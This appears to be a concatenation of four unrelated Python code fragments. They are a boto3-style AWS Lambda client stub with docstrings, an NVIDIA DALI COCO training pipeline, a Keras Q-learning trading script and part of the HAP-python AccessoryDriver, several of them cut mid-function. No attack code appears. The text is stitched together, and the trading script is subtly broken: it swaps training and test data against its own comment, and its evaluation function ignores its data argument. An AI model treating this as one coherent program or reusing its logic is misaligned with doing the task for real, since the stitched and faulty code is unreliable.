(ARN) of the alias. Name (string) -- The name of the alias. FunctionVersion (string) -- The function version that the alias invokes. Description (string) -- A description of the alias. RoutingConfig (dict) -- The routing configuration of the alias. AdditionalVersionWeights (dict) -- The name of the second alias, and the percentage of traffic that\'s routed to it. (string) -- (float) -- RevisionId (string) -- A unique identifier that changes when you update the alias. Exceptions Lambda.Client.exceptions.ServiceException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.PreconditionFailedException Lambda.Client.exceptions.ResourceConflictException Examples The following example updates the alias named BLUE to send 30% of traffic to version 2 and 70% to version 1. response = client.update_alias( FunctionName='my-function', FunctionVersion='2', Name='BLUE', RoutingConfig={ 'AdditionalVersionWeights': { '1': 0.7, }, }, ) print(response) Expected Output: { 'AliasArn': 'arn:aws:lambda:us-west-2:123456789012:function:my-function:BLUE', 'Description': 'Production environment BLUE.', 'FunctionVersion': '2', 'Name': 'BLUE', 'RevisionId': '594f41fb-xmpl-4c20-95c7-6ca5f2a92c93', 'RoutingConfig': { 'AdditionalVersionWeights': { '1': 0.7, }, }, 'ResponseMetadata': { '...': '...', }, } :return: { 'AliasArn': 'string', 'Name': 'string', 'FunctionVersion': 'string', 'Description': 'string', 'RoutingConfig': { 'AdditionalVersionWeights': { 'string': 123.0 } }, 'RevisionId': 'string' } :returns: (string) -- (float) -- """ pass def update_event_source_mapping(UUID=None, FunctionName=None, Enabled=None, BatchSize=None, MaximumBatchingWindowInSeconds=None, DestinationConfig=None, MaximumRecordAgeInSeconds=None, BisectBatchOnFunctionError=None, MaximumRetryAttempts=None, ParallelizationFactor=None): """ Updates an event source mapping. You can change the function that AWS Lambda invokes, or pause invocation and resume later from the same location. The following error handling options are only available for stream sources (DynamoDB and Kinesis): See also: AWS API Documentation Exceptions Examples This operation updates a Lambda function event source mapping Expected Output: :example: response = client.update_event_source_mapping( UUID='string', FunctionName='string', Enabled=True|False, BatchSize=123, MaximumBatchingWindowInSeconds=123, DestinationConfig={ 'OnSuccess': { 'Destination': 'string' }, 'OnFailure': { 'Destination': 'string' } }, MaximumRecordAgeInSeconds=123, BisectBatchOnFunctionError=True|False, MaximumRetryAttempts=123, ParallelizationFactor=123 ) :type UUID: string :param UUID: [REQUIRED]\nThe identifier of the event source mapping.\n :type FunctionName: string :param FunctionName: The name of the Lambda function.\n\nName formats\n\nFunction name - MyFunction .\nFunction ARN - arn:aws:lambda:us-west-2:123456789012:function:MyFunction .\nVersion or Alias ARN - arn:aws:lambda:us-west-2:123456789012:function:MyFunction:PROD .\nPartial ARN - 123456789012:function:MyFunction .\n\nThe length constraint applies only to the full ARN. If you specify only the function name, it\'s limited to 64 characters in length.\n :type Enabled: boolean :param Enabled: Disables the event source mapping to pause polling and invocation. :type BatchSize: integer :param BatchSize: The maximum number of items to retrieve in a single batch.\n\nAmazon Kinesis - Default 100. Max 10,000.\nAmazon DynamoDB Streams - Default 100. Max 1,000.\nAmazon Simple Queue Service - Default 10. Max 10.\n\n :type MaximumBatchingWindowInSeconds: integer :param MaximumBatchingWindowInSeconds: (Streams) The maximum amount of time to gather records before invoking the
<filename>NVIDIA/benchmarks/ssd/implementations/pytorch/coco_pipeline.py # Copyright (c) 2018-2019, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function import torch import ctypes import logging import numpy as np from collections import namedtuple from itertools import accumulate # DALI imports from nvidia.dali.pipeline import Pipeline import nvidia.dali.ops as ops import nvidia.dali.types as types import time # Defines the pipeline for a single GPU for _training_ class COCOPipeline(Pipeline): def __init__(self, batch_size, device_id, file_root, annotations_file, num_gpus, output_fp16=False, output_nhwc=False, pad_output=False, num_threads=1, seed=15, dali_cache=-1, dali_async=True, use_nvjpeg=False, use_roi=False): super(COCOPipeline, self).__init__(batch_size=batch_size, device_id=device_id, num_threads=num_threads, seed = seed, exec_pipelined=dali_async, exec_async=dali_async) self.use_roi = use_roi self.use_nvjpeg = use_nvjpeg try: shard_id = torch.distributed.get_rank() except RuntimeError: shard_id = 0 self.input = ops.COCOReader( file_root = file_root, annotations_file = annotations_file, shard_id = shard_id, num_shards = num_gpus, ratio=True, ltrb=True, skip_empty = True, random_shuffle=(dali_cache>0), stick_to_shard=(dali_cache>0), shuffle_after_epoch=(dali_cache<=0)) if use_nvjpeg: if use_roi: self.decode = ops.nvJPEGDecoderSlice(device = "mixed", output_type = types.RGB) # handled in ROI decoder self.slice = None else: if dali_cache>0: self.decode = ops.nvJPEGDecoder(device = "mixed", output_type = types.RGB, cache_size=dali_cache*1024, cache_type="threshold", cache_threshold=10000) else: self.decode = ops.nvJPEGDecoder(device = "mixed", output_type = types.RGB) self.slice = ops.Slice(device="gpu") self.crop = ops.RandomBBoxCrop(device="cpu", aspect_ratio=[0.5, 2.0], thresholds=[0, 0.1, 0.3, 0.5, 0.7, 0.9], scaling=[0.3, 1.0], ltrb=True, allow_no_crop=True, num_attempts=1) else: self.decode = ops.HostDecoder(device = "cpu", output_type = types.RGB) # handled in the cropper self.slice = None self.crop = ops.SSDRandomCrop(device="cpu", num_attempts=1) # Augumentation techniques (in addition to random crop) self.twist = ops.ColorTwist(device="gpu") self.resize = ops.Resize( device = "gpu", resize_x = 300, resize_y = 300, min_filter = types.DALIInterpType.INTERP_TRIANGULAR) output_dtype = types.FLOAT16 if output_fp16 else types.FLOAT output_layout = types.NHWC if output_nhwc else types.NCHW mean_val = list(np.array([0.485, 0.456, 0.406]) * 255.) std_val = list(np.array([0.229, 0.224, 0.225]) * 255.) self.normalize = ops.CropMirrorNormalize(device="gpu", crop=(300, 300), mean=mean_val, std=std_val, mirror=0, output_dtype=output_dtype, output_layout=output_layout, pad_output=pad_output) # Random variables self.rng1 = ops.Uniform(range=[0.5, 1.5]) self.rng2 = ops.Uniform(range=[0.875, 1.125]) self.rng3 = ops.Uniform(range=[-0.5, 0.5]) def define_graph(self): saturation = self.rng1() contrast = self.rng1() brightness = self.rng2() hue = self.rng3() inputs, bboxes, labels = self.input(name='train_reader') if self.use_nvjpeg: # Take the random crops crop_begin, crop_size, bboxes, labels = self.crop(bboxes, labels) if self.use_roi: images = self.decode(inputs, crop_begin, crop_size) else: images = self.decode(inputs) images = self.slice(images.gpu(), crop_begin, crop_size) else: images = self.decode(inputs) images, bboxes, labels = self.crop(images, bboxes, labels) images = self.resize(images.gpu()) images = self.twist(images.gpu(), saturation=saturation, contrast=contrast, brightness=brightness, hue=hue) images = self.normalize(images) # bboxes and images and labels on GPU return (images, bboxes.gpu(), labels.gpu()) to_torch_type = { np.dtype(np.float32) : torch.float32, np.dtype(np.float64) : torch.float64, np.dtype(np.float16) : torch.float16, np.dtype(np.uint8) : torch.uint8, np.dtype(np.int8) : torch.int8, np.dtype(np.int16) : torch.int16, np.dtype(np.int32) : torch.int32, np.dtype(np.int64) : torch.int64 } def feed_ndarray(dali_tensor, arr): """ Copy contents of DALI tensor to pyTorch's Tensor. Parameters ---------- `dali_tensor` : nvidia.dali.backend.TensorCPU or nvidia.dali.backend.TensorGPU Tensor from which to copy `arr` : torch.Tensor Destination of the copy """ assert dali_tensor.shape() == list(arr.size()), \ ("Shapes do not match: DALI tensor has size {0}" ", but PyTorch Tensor has size {1}".format(dali_tensor.shape(), list(arr.size()))) #turn raw int to a c void pointer c_type_pointer = ctypes.c_void_p(arr.data_ptr()) dali_tensor.copy_to_external(c_type_pointer) return arr DALIOutput = namedtuple('DaliOutput', ['name', 'requires_offsets', 'expected_ragged']) class SingleDaliIterator(object): def __init__(self, pipeline, output_map, size, ngpu=1): self._pipe = pipeline self._size = size self.ngpu = ngpu # convert map to pair of map, need_offsets self._output_map = [] self._needs_offsets = set() self._expected_ragged = set() for out in output_map: if isinstance(out, DALIOutput): self._output_map.append(out.name) if out.requires_offsets == True: self._needs_offsets.add(out.name) if out.expected_ragged == True: self._expected_ragged.add(out.name) else: self._output_map.append(out) # self._output_map = output_map self.batch_size = pipeline.batch_size self.dev_id = self._pipe.device_id # generate inverse map from output_map name -> dali idx self._inv_output_map = { name : i for i, name in enumerate(self._output_map)} # build the pipeline self._pipe.build() # use double-buffering self._data_batches = [None] * 4 self._counter = 0 self._current_data_batch = 0 # We need data about the batches (like shape information), # so we need to run a single batch as part of setup to get that info self._first_batch = None self._first_batch = self.next() def __next__(self): if self._first_batch is not None: batch = self._first_batch self._first_batch = None return batch if self._counter > self._size: raise StopIteration # gather outputs for this GPU pipe_output = self._pipe.run() # empty dict for each named output outputs = { k : [] for k in self._output_map } # Result of this is { output_name : dali output } for i, out in enumerate(pipe_output): outputs[self._output_map[i]].append(out) # Get shapes (and optional offsets) to a non-dense DALI tensor def convert_to_shapes(output, need_offsets=False): shapes = [output.at(i).shape() for i in range(len(output))] if need_offsets: # prefix sum on shape's leading dimension offsets = [0] + list(accumulate([o[0] for o in shapes])) return shapes, offsets else: return shapes, None # pyt_inputs are necessary to track 'tensorified' dali outputs pyt_inputs = {} # Track general outputs pyt_outputs = {} pyt_offsets = {} # convert DALI outputs to pytorch for name, out in outputs.items(): dali_output_ind = self._inv_output_map[name] dali_out = pipe_output[dali_output_ind] # Note: There can be cases, especially with small batch sizes where even though we expect # a ragged tensor (and to generate offsets), the runtime batch turns out to be dense. This # understandably causes problems. # To work around this, explicitly check to see if we want offsets and use the "else" block # in those cases # There are also cases where we expect the output to be ragged, but don't want the offsets # (like bboxes & labels in SSD), so check for that case too if dali_out.is_dense_tensor() and not (name in self._needs_offsets or name in self._expected_ragged): if name in self._needs_offsets: print('ERROR: dense tensor requires offsets') # Handle dense (e.g. same sized-images case) tensor = dali_out.as_tensor() shape = tensor.shape() # get the torch type of the image(s) tensor_type = to_torch_type[np.dtype(tensor.dtype())] # get in output device (in pytorch parlance) torch_gpu_device = torch.device('cuda', self.dev_id) # allocate the output buffer for this output in pytorch pyt_output = torch.zeros(shape, dtype=tensor_type, device=torch_gpu_device) pyt_inputs[name] = tensor pyt_outputs[name] = pyt_output else: need_offsets = name in self._needs_offsets # handle case where we have different number of values per output # e.g. labels, bboxes in SSD shapes, offsets = convert_to_shapes(dali_out, need_offsets=need_offsets) # get the torch type of the image(s) tensor_type = to_torch_type[np.dtype(dali_out.at(0).dtype())] # get in output device (in pytorch parlance) torch_gpu_device = torch.device('cuda', self.dev_id) # allocate output pyt_output = [torch.zeros(shape, dtype=tensor_type, device=torch_gpu_device) for shape in shapes] pyt_outputs[name] = pyt_output if need_offsets: # allocate offsets # NOTE: should these be int32 or long? pyt_offset = torch.tensor(offsets, dtype=torch.int32, device=torch_gpu_device) pyt_offsets[name] = pyt_offset # now copy each output to device # Copy data from DALI Tensors to torch tensors # NOTE: Do in more generic way for i, out in enumerate(pipe_output): output_name = self._output_map[i] # Same as above - need to use the same conditional or tensors aren't in the correct place and things fail if out.is_dense_tensor() and not (output_name in self._needs_offsets or output_name in self._expected_ragged): # Dense tensor - single copy feed_ndarray(pyt_inputs[output_name], pyt_outputs[output_name]) else: # Non-dense - individual copies and cat for j in range(len(out)): # avoid copying 0-length tensors if pyt_outputs[output_name][j].shape[0] != 0: feed_ndarray(out.at(j), pyt_outputs[output_name][j]) pyt_outputs[output_name] = torch.cat(pyt_outputs[output_name]) # NOTE: Check if we need to squeeze (last dim is 1) s = out.at(j).shape() if s[-1] == 1: pyt_outputs[output_name] = pyt_outputs[output_name].squeeze(dim=len(s)-1) # At this point we have a map of { output_name : output_pyt_buffer } + { output_name : output_pyt_offsets } # Need to assemble everything and assign to data_batches all_outputs = [] for k in self._output_map: all_outputs.append(pyt_outputs[k]) if k in pyt_offsets: all_outputs.append(pyt_offsets[k]) self._data_batches[self._current_data_batch] = tuple(all_outputs) copy_db_index = self._current_data_batch # Change index for double buffering self._current_data_batch = (self._current_data_batch + 1) % 2 self._counter += self.ngpu * self.batch_size return tuple(self._data_batches[copy_db_index]) def next(self): """ Returns the next batch of data. """ return self.__next__(); def
<reponame>jehung/universal_portfolio # -*- coding: utf-8 -*- from __future__ import print_function import numpy as np np.random.seed(1335) # for reproducibility np.set_printoptions(precision=5, suppress=True, linewidth=150) import os import pandas as pd import backtest as twp from matplotlib import pyplot as plt from sklearn import metrics, preprocessing from talib.abstract import * from sklearn.externals import joblib import quandl import random, timeit from sklearn import preprocessing from keras.models import Sequential from keras.layers.core import Dense, Dropout, Activation from keras.layers.recurrent import LSTM from keras.optimizers import RMSprop, Adam ''' Name: The Self Learning Quant, Example 3 Author: <NAME> Created: 30/03/2016 Copyright: (c) <NAME> 2016 Licence: BSD Requirements: Numpy Pandas MatplotLib scikit-learn TA-Lib, instructions at https://mrjbq7.github.io/ta-lib/install.html Keras, https://keras.io/ Quandl, https://www.quandl.com/tools/python backtest.py from the TWP library. Download backtest.py and put in the same folder /plt create a subfolder in the same directory where plot files will be saved ''' def get_ticker(x): return x.split('/')[-1].split('.')[0] def read_file(file, test=None): scaler = preprocessing.MinMaxScaler() d = pd.read_csv(file).set_index('Date') d.fillna(0, inplace=True) ticker = get_ticker(file) d['ticker'] = ticker d.rename(columns={'Open': 'open', 'High': 'high', 'Low': 'low', 'Close': 'close', 'Adj Close': 'adj_close', 'Volume (BTC)': 'volume'}, inplace=True) x_train = d.iloc[:-100, ] x_test = d.iloc[-100:, ] if test: return x_test, ticker else: return x_train, ticker # Initialize first state, all items are placed deterministically def init_state(file, test): d, ticker = read_file(file, test=test) xdata = pd.DataFrame() scaler = preprocessing.StandardScaler() xdata['adj_close'] = d['adj_close'] # .values xdata['diff'] = xdata['adj_close'].diff(periods=1) xdata['diff'].fillna(0, inplace=True) xdata['sma15'] = SMA(d, timeperiod=15) xdata['sma60'] = SMA(d, timeperiod=60) xdata['rsi'] = RSI(d, timeperiod=14) xdata['atr'] = ATR(d, timeperiod=14) xdata.fillna(0, inplace=True) # --- Preprocess data # xdata = np.column_stack((close, diff, sma15, close - sma15, sma15 - sma60, rsi, atr)) xdata = pd.DataFrame(scaler.fit_transform(xdata), columns=xdata.columns) xdata['ticker'] = ticker pivot_columns = xdata.columns[0:-1] pivot = xdata.pivot_table(index=d.index, columns='ticker', values=pivot_columns) # Make a pivot table from the data pivot.columns = [s1 + '-' + s2 for (s1, s2) in pivot.columns.tolist()] return pivot def all_init_data(test=False): filepath = 'util/stock_dfs/' all = [] scaler = preprocessing.StandardScaler() for f in os.listdir(filepath): datapath = os.path.join(filepath, f) if datapath.endswith('.csv'): # print(datapath) Res = init_state(datapath, test=test) all.append(Res) all = pd.concat(all, axis=1) all.fillna(0, inplace=True) closecol = [col for col in all.columns if 'adj_close' in col] close = all[closecol].values # xdata = np.column_stack((close, diff, sma15, close-sma15, sma15-sma60, rsi, atr)) xdata = np.vstack(all.values) xdata = np.nan_to_num(xdata) if test == False: scaler = preprocessing.StandardScaler() xdata = np.expand_dims(scaler.fit_transform(xdata), axis=1) joblib.dump(scaler, 'data/scaler.pkl') else: scaler = joblib.load('data/scaler.pkl') xdata = np.expand_dims(scaler.fit_transform(xdata), axis=1) state = xdata[0:1, 0:1, :] return state, xdata, close # Take Action def take_action(state, xdata, action, signal, time_step): # this should generate a list of trade signals that at evaluation time are fed to the backtester # the backtester should get a list of trade signals and a list of price data for the assett # make necessary adjustments to state and then return it time_step += 1 # if the current iteration is the last state ("terminal state") then set terminal_state to 1 if time_step + 1 == xdata.shape[0]: state = xdata[time_step - 1:time_step, 0:1, :] terminal_state = 1 signal.loc[time_step] = 0 return state, time_step, signal, terminal_state # move the market data window one step forward state = xdata[time_step - 1:time_step, 0:1, :] # take action if action == 1: signal.loc[time_step] = 100 elif action == 2: signal.loc[time_step] = -100 else: signal.loc[time_step] = 0 # print(state) terminal_state = 0 # print(signal) return state, time_step, signal, terminal_state # Get Reward, the reward is returned at the end of an episode def get_reward(new_state, time_step, action, xdata, signal, terminal_state, eval=False, epoch=0): reward = 0 signal.fillna(value=0, inplace=True) if eval == False: try: bt = twp.Backtest(pd.Series(data=[x[0] for x in xdata[time_step - 2:time_step]], index=signal[time_step - 2:time_step].index.values), signal[time_step - 2:time_step], signalType='shares') reward = np.max((bt.data['price'].iloc[-1] - bt.data['price'].iloc[-2]) * bt.data['shares'].iloc[-1]) except: pass if terminal_state == 1 and eval == True: bt = twp.Backtest(pd.Series(data=[x[0] for x in xdata], index=signal.index.values), signal, signalType='shares') reward = bt.pnl.iloc[-1] plt.figure(figsize=(9, 16)) bt.plotTrades() plt.axvline(x=400, color='black', linestyle='--') plt.text(250, 400, 'training data') plt.text(450, 400, 'test data') plt.suptitle(str(epoch)) plt.savefig('plt/' + 'knapsack_' + str(epoch) + '.png') plt.close('all') ''' # save a figure of the test set plt.figure(figsize=(10, 25)) for i in range(xdata.T.shape[0]): #frame = pd.concat(btFrame, axis=1) bt = twp.Backtest(pd.Series(data=[x for x in xdata.T[i]], index=signal.index.values), signal, signalType='shares') reward += np.max(bt.pnl.iloc[-1]) bt.plotTrades() #plt.axvline(x=400, color='black', linestyle='--') #plt.text(250, 400, 'training data') #plt.text(450, 400, 'test data') #plt.suptitle(str(epoch)) plt.savefig('plt/' + 'knapsack_' + str(epoch) + '.png', bbox_inches='tight', pad_inches=1, dpi=72) plt.close('all') ''' # print(time_step, terminal_state, eval, reward) return reward def evaluate_Q(eval_data, eval_model, epoch=0): # This function is used to evaluate the performance of the system each epoch, without the influence of epsilon and random actions signal = pd.Series(index=np.arange(len(eval_data))) state, xdata, price_data = all_init_data() status = 1 terminal_state = 0 time_step = 1 while (status == 1): # We start in state S qval = eval_model.predict(state, batch_size=batch_size) action = (np.argmax(qval)) # Take action, observe new state S' new_state, time_step, signal, terminal_state = take_action(state, xdata, action, signal, time_step) # Observe reward eval_reward = get_reward(new_state, time_step, action, price_data, signal, terminal_state, eval=True, epoch=epoch) state = new_state if terminal_state == 1: # terminal state status = 0 return eval_reward if __name__ == "__main__": # This neural network is the the Q-function, run it like this: # model.predict(state.reshape(1,64), batch_size=1) batch_size = 7 num_features = 2544 epochs = 3 gamma = 0.95 # since the reward can be several time steps away, make gamma high epsilon = 1 batchSize = 100 buffer = 200 replay = [] learning_progress = [] model = Sequential() model.add(LSTM(64, input_shape=(1, num_features), return_sequences=True, stateful=False)) model.add(Dropout(0.5)) model.add(LSTM(64, input_shape=(1, num_features), return_sequences=False, stateful=False)) model.add(Dropout(0.5)) model.add(Dense(4, init='lecun_uniform')) model.add(Activation('linear')) # linear output so we can have range of real-valued outputs rms = RMSprop() adam = Adam() model.compile(loss='mse', optimizer=adam) start_time = timeit.default_timer() # read_convert_data(symbol='XBTEUR') #run once to read indata, resample and convert to pickle astate, xdata, aprice_data = all_init_data() bstate, test_data, test_price_data = all_init_data(test=True) ''' bstate, test_data, test_price_data = all_init_data(test=True) print(astate.shape) print(bstate.shape) print(xdata.shape) print(test_data.shape) print(price_data.shape) print(test_price_data.shape) ''' # stores tuples of (S, A, R, S') h = 0 # signal = pd.Series(index=market_data.index) signal = pd.Series(index=np.arange(len(xdata))) for i in range(epochs): if i == epochs - 1: # the last epoch, use test data set state, xdata, price_data = all_init_data() else: state, xdata, price_data = all_init_data(test=True) status = 1 terminal_state = 0 time_step = 5 # while game still in progress while (status == 1): # We are in state S # Let's run our Q function on S to get Q values for all possible actions print('epoch ' + str(i)) qval = model.predict(state, batch_size=batch_size) if (random.random() < epsilon): # choose random action action = np.random.randint(0, 4) # assumes 4 different actions else: # choose best action from Q(s,a) values action = (np.argmax(qval)) # Take action, observe new state S' new_state, time_step, signal, terminal_state = take_action(state, xdata, action, signal, time_step) # Observe reward reward = get_reward(new_state, time_step, action, price_data, signal, terminal_state) print('new_state', new_state) print('reward', reward) # Experience replay storage if (len(replay) < buffer): # if buffer not filled, add to it replay.append((state, action, reward, new_state)) # print(time_step, reward, terminal_state) else: # if buffer full, overwrite old values if (h < (buffer - 1)): h += 1 else: h = 0 replay[h] = (state, action, reward, new_state) # randomly sample our experience replay memory minibatch = random.sample(replay, batchSize) X_train = [] y_train = [] for memory in minibatch: # Get max_Q(S',a) old_state, action, reward, new_state = memory old_qval = model.predict(old_state, batch_size=batch_size) newQ = model.predict(new_state, batch_size=batch_size) maxQ = np.max(newQ) y = np.zeros((1, 4)) y[:] = old_qval[:] if terminal_state == 0: # non-terminal state update = (reward + (gamma * maxQ)) else: # terminal state update = reward # print('rewardbase', reward) # print('update', update) y[0][action] = update # print(time_step, reward, terminal_state) X_train.append(old_state) y_train.append(y.reshape(4, )) X_train = np.squeeze(np.array(X_train), axis=(1)) y_train = np.array(y_train) model.fit(X_train, y_train, batch_size=batchSize, epochs=100, verbose=0) state = new_state if terminal_state == 1: # if reached terminal state, update epoch status status = 0 eval_reward = evaluate_Q(test_data, model, i) # eval_reward = value_iter(test_data, epsilon, epochs) learning_progress.append(eval_reward) print("Epoch #: %s Reward: %f Epsilon: %f" % (i, eval_reward, epsilon)) # learning_progress.append((reward)) if epsilon > 0.1: # decrement epsilon over time epsilon -= (1.0 / epochs) elapsed = np.round(timeit.default_timer() - start_time, decimals=2) print("Completed in %f" % (elapsed,)) bt = twp.Backtest(pd.Series(data=[x[0] for x in test_price_data]), signal, signalType='shares') bt.data['delta'] = bt.data['shares'].diff().fillna(0) print(bt.data)
"""AccessoryDriver - glues together the HAP Server, accessories and mDNS advertising. Sending updates to clients The process of sending value changes to clients happens in two parts - on one hand, the value change is indicated by a Characteristic and, on the other, that change is sent to a client. To begin, typically, something in the Accessory's run method will do set_value(foo, notify=True) on one of its contained Characteristic. This in turn will create a HAP representation of the change and publish it to the Accessory. This will then add some more information and eventually the value change will reach the AccessoryDriver (all this happens through the publish() interface). The AccessoryDriver will then check if there is a client that subscribed for events from this exact Characteristic from this exact Accessory (remember, it could be a Bridge with more than one Accessory in it). If so, the event is put in a FIFO queue - the event queue. This terminates the call chain and concludes the publishing process from the Characteristic, the Characteristic does not block waiting for the actual send to happen. When the AccessoryDriver is started, it spawns an event dispatch thread. The purpose of this thread is to get events from the event queue and send them to subscribed clients. Whenever a send fails, the client is unsubscripted, as it is assumed that the client left or went to sleep before telling us. This concludes the publishing process from the AccessoryDriver. """ import asyncio from concurrent.futures import ThreadPoolExecutor import functools import os import logging import socket import hashlib import base64 import sys import time import threading import json import queue from zeroconf import ServiceInfo, Zeroconf from pyhap.accessory import get_topic from pyhap.characteristic import CharacteristicError from pyhap.const import ( STANDALONE_AID, HAP_PERMISSION_NOTIFY, HAP_REPR_ACCS, HAP_REPR_AID, HAP_REPR_CHARS, HAP_REPR_IID, HAP_REPR_STATUS, HAP_REPR_VALUE) from pyhap.encoder import AccessoryEncoder from pyhap.hap_server import HAPServer from pyhap.hsrp import Server as SrpServer from pyhap.loader import Loader from pyhap.params import get_srp_context from pyhap.state import State logger = logging.getLogger(__name__) CHAR_STAT_OK = 0 SERVICE_COMMUNICATION_FAILURE = -70402 def callback(func): """Decorator for non blocking functions.""" setattr(func, '_pyhap_callback', True) return func def is_callback(func): """Check if function is callback.""" return '_pyhap_callback' in getattr(func, '__dict__', {}) def iscoro(func): """Check if the function is a coroutine or if the function is a ``functools.patial``, check the wrapped function for the same. """ if isinstance(func, functools.partial): func = func.func return asyncio.iscoroutinefunction(func) class AccessoryMDNSServiceInfo(ServiceInfo): """A mDNS service info representation of an accessory.""" def __init__(self, accessory, state): self.accessory = accessory self.state = state hname = socket.gethostname() pubname = hname + '.' if hname.endswith('.local') else hname + '.local.' adv_data = self._get_advert_data() super().__init__( '_hap._tcp.local.', self.accessory.display_name + '._hap._tcp.local.', socket.inet_aton(self.state.address), self.state.port, 0, 0, adv_data, pubname) def _setup_hash(self): setup_hash_material = self.state.setup_id + self.state.mac temp_hash = hashlib.sha512() temp_hash.update(setup_hash_material.encode()) return base64.b64encode(temp_hash.digest()[:4]) def _get_advert_data(self): """Generate advertisement data from the accessory.""" return { 'md': self.accessory.display_name, 'pv': '1.0', 'id': self.state.mac, # represents the 'configuration version' of an Accessory. # Increasing this 'version number' signals iOS devices to # re-fetch accessories data. 'c#': str(self.state.config_version), 's#': '1', # 'accessory state' 'ff': '0', 'ci': str(self.accessory.category), # 'sf == 1' means "discoverable by HomeKit iOS clients" 'sf': '0' if self.state.paired else '1', 'sh': self._setup_hash() } class AccessoryDriver: """ An AccessoryDriver mediates between incoming requests from the HAPServer and the Accessory. The driver starts and stops the HAPServer, the mDNS advertisements and responds to events from the HAPServer. """ NUM_EVENTS_BEFORE_STATS = 100 """Number of HAP send events to be processed before reporting statistics on the event queue length.""" def __init__(self, *, address=None, port=51234, persist_file='accessory.state', pincode=None, encoder=None, loader=None, loop=None): """ Initialize a new AccessoryDriver object. :param pincode: The pincode that HAP clients must prove they know in order to pair with this `Accessory`. Defaults to None, in which case a random pincode is generated. The pincode has the format "xxx-xx-xxx", where x is a digit. :type pincode: bytearray :param port: The local port on which the accessory will be accessible. In other words, this is the port of the HAPServer. :type port: int :param address: The local address on which the accessory will be accessible. In other words, this is the address of the HAPServer. If not given, the driver will try to select an address. :type address: str :param persist_file: The file name in which the state of the accessory will be persisted. This uses `expandvars`, so may contain `~` to refer to the user's home directory. :type persist_file: str :param encoder: The encoder to use when persisting/loading the Accessory state. :type encoder: AccessoryEncoder """ if sys.platform == 'win32': self.loop = loop or asyncio.ProactorEventLoop() else: self.loop = loop or asyncio.new_event_loop() executor_opts = {'max_workers': None} if sys.version_info >= (3, 6): executor_opts['thread_name_prefix'] = 'SyncWorker' self.executor = ThreadPoolExecutor(**executor_opts) self.loop.set_default_executor(self.executor) self.accessory = None self.http_server_thread = None self.advertiser = Zeroconf() self.persist_file = os.path.expanduser(persist_file) self.encoder = encoder or AccessoryEncoder() self.topics = {} # topic: set of (address, port) of subscribed clients self.topic_lock = threading.Lock() # for exclusive access to the topics self.loader = loader or Loader() self.aio_stop_event = asyncio.Event(loop=self.loop) self.stop_event = threading.Event() self.event_queue = queue.Queue() # (topic, bytes) self.send_event_thread = None # the event dispatch thread self.sent_events = 0 self.accumulated_qsize = 0 self.safe_mode = False self.mdns_service_info = None self.srp_verifier = None self.state = State(address=address, pincode=pincode, port=port) network_tuple = (self.state.address, self.state.port) self.http_server = HAPServer(network_tuple, self) def start(self): """Start the event loop and call `_do_start`. Pyhap will be stopped gracefully on a KeyBoardInterrupt. """ try: logger.info('Starting the event loop') if threading.current_thread() is threading.main_thread(): logger.debug('Setting child watcher') watcher = asyncio.SafeChildWatcher() watcher.attach_loop(self.loop) asyncio.set_child_watcher(watcher) else: logger.debug('Not setting a child watcher. Set one if ' 'subprocesses will be started outside the main thread.') self.add_job(self._do_start) self.loop.run_forever() except KeyboardInterrupt: logger.debug('Got a KeyboardInterrupt, stopping driver') self.loop.call_soon_threadsafe( self.loop.create_task, self.async_stop()) self.loop.run_forever() finally: self.loop.close() logger.info('Closed the event loop') def _do_start(self): """Starts the accessory. - Call the accessory's run method. - Start handling accessory events. - Start the HAP server. - Publish a mDNS advertisement. - Print the setup QR code if the accessory is not paired. All of the above are started in separate threads. Accessory thread is set as daemon. """ if self.accessory is None: raise ValueError("You must assign an accessory to the driver, " "before you can start it.") logger.info('Starting accessory %s on address %s, port %s.', self.accessory.display_name, self.state.address, self.state.port) # Start sending events to clients. This is done in a daemon thread, because: # - if the queue is blocked waiting on an empty queue, then there is nothing left # for clean up. # - if the queue is currently sending an event to the client, then, when it has # finished, it will check the run sentinel, see that it is set and break the # loop. Alternatively, the server's server_close method will shutdown and close # the socket, while sending is in progress, which will result abort the sending. logger.debug('Starting event thread.') self.send_event_thread = threading.Thread(daemon=True, target=self.send_events) self.send_event_thread.start() # Start listening for requests logger.debug('Starting server.') self.http_server_thread = threading.Thread(target=self.http_server.serve_forever) self.http_server_thread.start() # Advertise the accessory as a mDNS service. logger.debug('Starting mDNS.') self.mdns_service_info = AccessoryMDNSServiceInfo( self.accessory, self.state) self.advertiser.register_service(self.mdns_service_info) # Print accessory setup message if not self.state.paired: self.accessory.setup_message() # Start the accessory so it can do stuff. logger.debug('Starting accessory.') self.add_job(self.accessory.run) logger.debug('AccessoryDriver started successfully') def stop(self): """Method to stop pyhap.""" self.loop.call_soon_threadsafe( self.loop.create_task, self.async_stop()) async def async_stop(self): """Stops the AccessoryDriver and shutdown all remaining tasks.""" await self.async_add_job(self._do_stop) logger.debug('Shutdown executors') self.executor.shutdown() self.loop.stop() logger.debug('Stop completed') def _do_stop(self): """Stop the accessory. 1. Set the run sentinel. 2. Call the stop method of the Accessory and wait for its thread to finish. 3. Stop mDNS advertising. 4. Stop HAP server. """ # TODO: This should happen in a different order - mDNS, server, accessory. Need # to ensure that sending with a closed server will not crash the app. logger.info("Stopping accessory %s on address %s, port %s.", self.accessory.display_name, self.state.address, self.state.port) logger.debug("Setting stop events, stopping accessory and event sending") self.stop_event.set() self.loop.call_soon_threadsafe(self.aio_stop_event.set) self.add_job(self.accessory.stop) logger.debug("Stopping mDNS advertising") self.advertiser.unregister_service(self.mdns_service_info) self.advertiser.close() logger.debug("Stopping HAP server") self.http_server.shutdown() self.http_server.server_close() self.http_server_thread.join() logger.debug("AccessoryDriver stopped successfully") def add_job(self, target, *args): """Add job to executor pool.""" if target is None: raise ValueError("Don't call add_job with None.") self.loop.call_soon_threadsafe(self.async_add_job, target, *args) @callback def async_add_job(self, target, *args): """Add job from within the event loop.""" task =
